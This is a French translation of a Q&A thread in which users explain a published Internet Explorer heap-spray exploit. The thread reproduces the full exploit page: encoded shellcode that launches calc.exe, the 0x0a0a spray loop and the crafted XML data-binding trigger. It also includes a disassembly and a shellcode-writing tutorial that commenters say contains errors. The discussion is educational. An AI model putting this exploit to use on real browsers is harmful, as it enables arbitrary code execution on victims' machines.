Comment fonctionne cet exploit de pulvérisation de tas milw0rm?

145

Je n'ai généralement pas de difficulté à lire le code JavaScript, mais pour celui-ci, je ne peux pas comprendre la logique. Le code est issu d'un exploit qui a été publié il y a 4 jours. Vous pouvez le trouver sur milw0rm .

Voici le code:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Voici ce que je crois que cela fait et j'aimerais que vous m'aidiez pour la partie que je ne comprends pas.

La variable shellcodecontient le code pour ouvrir le fichier calc.exe. Je ne comprends pas comment ils ont trouvé cette corde bizarre. Une idée?

La deuxième chose est la variable spray. Je ne comprends pas cette boucle bizarre.

La troisième chose est la variable memoryqui n'est jamais utilisée nulle part. Pourquoi le créent-ils?

Dernière chose: que fait la balise XML dans la page?

Pour le moment j'ai de bonnes réponses mais surtout des réponses très générales. J'aimerais plus d'explications sur la valeur du code. Un exemple est unescape("%u0a0a%u0a0a");. Qu'est-ce que ça veut dire? Même chose pour la boucle: pourquoi le développeur a-t-il écrit length < 0xd0000:? Je voudrais une compréhension plus approfondie, pas seulement la théorie de ce code.

— Patrick Desjardins
source

Vous devriez vous pencher sur la pulvérisation en tas: en.wikipedia.org/wiki/Heap_spraying

— BobbyShaftoe

Comment réussir à exécuter cet exploit? Doit-on l'exécuter dans IE?

— bad_keypoints

320

Le shellcode contient des instructions d'assemblage x86 qui feront l'exploit réel. spraycrée une longue séquence d'instructions qui seront insérées memory. Comme nous ne pouvons généralement pas trouver l'emplacement exact de notre shellcode en mémoire, nous lui mettons beaucoup d' nopinstructions avant et sautons quelque part là-bas. Le memorytableau contiendra le code x86 réel avec le mécanisme de saut. Nous fournirons le XML spécialement conçu à la bibliothèque qui a un bogue. Lorsqu'il est analysé, le bogue provoquera l'affectation du registre du pointeur d'instruction à quelque part dans notre exploit, conduisant à l'exécution de code arbitraire.

Pour mieux comprendre, vous devez en fait comprendre ce que contient le code x86. unscapesera utilisé pour mettre la séquence d'octets représentée de la chaîne dans la sprayvariable. C'est un code x86 valide qui remplit une grande partie du tas et saute au début du shellcode. La raison de la condition de fin est les limitations de longueur de chaîne du moteur de script. Vous ne pouvez pas avoir de chaînes plus grandes qu'une longueur spécifique.

Dans l'assemblage x86, 0a0areprésente or cl, [edx]. Ceci équivaut en fait à une nopinstruction aux fins de notre exploit. Partout où nous sautons dans le spray, nous passerons à l'instruction suivante jusqu'à ce que nous atteignions le shellcode qui est le code que nous voulons réellement exécuter.

Si vous regardez le XML, vous verrez 0x0a0aest là aussi. Décrire exactement ce qui se passe nécessite une connaissance spécifique de l'exploit (vous devez savoir où se trouve le bogue et comment il est exploité, ce que je ne sais pas). Cependant, il semble que nous forçons Internet Explorer à déclencher le code bogué en définissant le innerHtmlsur cette chaîne XML malveillante. Internet Explorer essaie de l'analyser et le code bogué donne en quelque sorte le contrôle à un emplacement de la mémoire où le tableau existe (puisqu'il s'agit d'un gros morceau, la probabilité d'y sauter est élevée). Lorsque nous y sautons, le CPU continuera d'exécuter des or cl, [edx]instructions jusqu'à ce que in atteigne le début du shellcode mis en mémoire.

J'ai démonté le shellcode:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

Comprendre ce shellcode nécessite des connaissances d'assemblage x86 et le problème dans la bibliothèque MS elle-même (pour savoir quel est l'état du système lorsque nous atteignons ici), pas JavaScript! Ce code s'exécutera à son tour calc.exe.

— Mehrdad Afshari
source

13

J'apprécie cet effort de votre part pour cette explication. +25 réputations et tout mon respect. Merci

— Patrick Desjardins

20

bonne réponse mais bon seigneur - du coup je ne suis pas bon avec l'ordinateur ;-)

— nom d'utilisateur

50

Je suis étonné par des gens qui parviennent à inventer ce genre d'exploits. S'ils sont assez intelligents pour pirater le compte bancaire de quelqu'un avec ça, ils méritent tout l'argent qu'ils peuvent voler;)

— Martin

8

S'il y avait un sanctuaire de bonnes réponses pour SO, ce serait là-dedans.

— San Jacinto

6

Le désassemblage semble absurde et complètement aléatoire. Ça ne peut pas être juste. J'ai essayé d'échanger des octets, en supposant que les caractères d'une chaîne étaient stockés en little-endian, mais cela n'a pas aidé.

— Juho Östman

10

Cela ressemble à un exploit du bogue récent d'Internet Explorer pour lequel Microsoft a publié le correctif d'urgence. Il utilise une faille dans la fonctionnalité de liaison de données du gestionnaire XML de Microsoft, qui provoque la désallocation incorrecte de la mémoire du tas.

Shellcode est un code machine qui s'exécutera lorsque le bogue se produira. La pulvérisation et la mémoire ne sont que de l'espace alloué sur le tas pour aider la condition exploitable à se produire.

— Tim Farley
source

Pensez-vous que de telles choses pourraient se produire avec les extensions de Chrome?

— bad_keypoints

3

La pulvérisation de tas est un moyen courant d'exploiter les éléments du navigateur, si vous y êtes, vous pouvez trouver plusieurs articles comme celui-ci: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

— dr. mal
source

2

Chaque fois que je vois de la mémoire qui n'est pas traitée dans une discussion sur l'exploit, ma première pensée est que l'exploit est une sorte de dépassement de mémoire tampon, auquel cas la mémoire provoque un débordement de la mémoire tampon ou est accessible une fois que le tampon déborde .

— Brian
source

Dans ce cas, il ne s'agissait pas d'une corruption de tas, d'un dépassement de tampon basé sur le tas ou d'un dépassement de tampon basé sur la pile: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx

— Grant Wagner

0

Cela vient de metasploit, cela signifie qu'il utilise l'un des codes shell de metasploit. Il est open source pour que vous puissiez le récupérer: http://www.metasploit.com/

— dr. mal
source

0

Voir Encodages de caractères en HTML .

Ce sont des données binaires encodées sous forme de chaîne, que JavaScript est en train de décoder.

Forme commune de XSS également.

Vous pouvez voir toutes les astuces d'encodage ici:

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project

— Chad Grant
source

0

Exemple de shellcode simple

Bonjour tout le monde en assemblage à & t syntaxe x86 je crois (Assistant en formation).

configurer le fichier:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

compilez comme ceci:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Maintenant, vous avez un binaire qui imprime Hello World. pour convertir le binaire en type de code shell dans:objdump -D shellcode

vous obtiendrez la sortie:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Maintenant, si vous regardez sur la 4ème ligne avec du texte, vous verrez: 400078: eb 1a jmp 0x400094

la partie qui dit eb 1aest la représentation hexadécimale de l'instruction d'assemblage jmp oneoù "un" est l'adresse mémoire de votre chaîne.

pour préparer votre shellcode pour l'exécution, ouvrez un autre fichier texte et stockez les valeurs hexadécimales dans un tableau de caractères. Pour formater correctement le code shell, tapez un \xavant chaque valeur hexadécimale.

Le prochain exemple de code shell ressemblera à ce qui suit selon la sortie de la commande objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Cet exemple utilise C pour le tableau. Vous avez maintenant un shellcode fonctionnel qui écrira dans stdout "hello world"

vous pouvez tester le code shell en le plaçant dans une vulnérabilité ou vous pouvez écrire le programme c suivant pour le tester:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Pour compiler le type de programme dans:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

run with ./run Vous savez, vous avez un exemple fonctionnel de développement de shellcode simple qui a été testé sous linux mint / debian.

— marc_s
source

1

N'utilisez pas l' int 0x80ABI 32 bits dans un code 64 bits. Il échouera pour les chaînes de la pile, car le noyau ne regarde que les 32 bits inférieurs des arguments syscall. Que se passe-t-il si vous utilisez l'ABI Linux int 0x80 32 bits dans un code 64 bits? . (Dans ce cas, vous créeriez une boucle infinie, car sys_writeretournerait -EFAULTet mov $1, %allaisserait les bits supérieurs définis, vous obtiendrez donc -ENOSYSau lieu de sys_exit). En outre, dans le code 64 bits, vous pouvez simplement jmptransférer la chaîne et utiliser un RIP relatif leapour obtenir l'adresse, au lieu d'appeler / pop.

— Peter Cordes

1

Cela échouera également pour gcc qui construit des exécutables PIE par défaut, car alors même votre tableau de caractères de stockage statique sera en dehors des 32 bits inférieurs. (Et BTW, si c'était le cas, const char payload[]ce serait dans le segment de texte (dans la section .rodata) et vous n'en auriez pas besoin -z execstack.)

— Peter Cordes

1

En outre, movl 4, %raxcontient un octet de zéro (et ne s'assemble pas à cause d'une incompatibilité de taille d'opérande, et il manque un $donc le 4 est une adresse absolue). Je pense que vous avez publié une première version de votre source. Mes commentaires précédents concernent le démontage où vous avez ajouté un sys_exitappel.

— Peter Cordes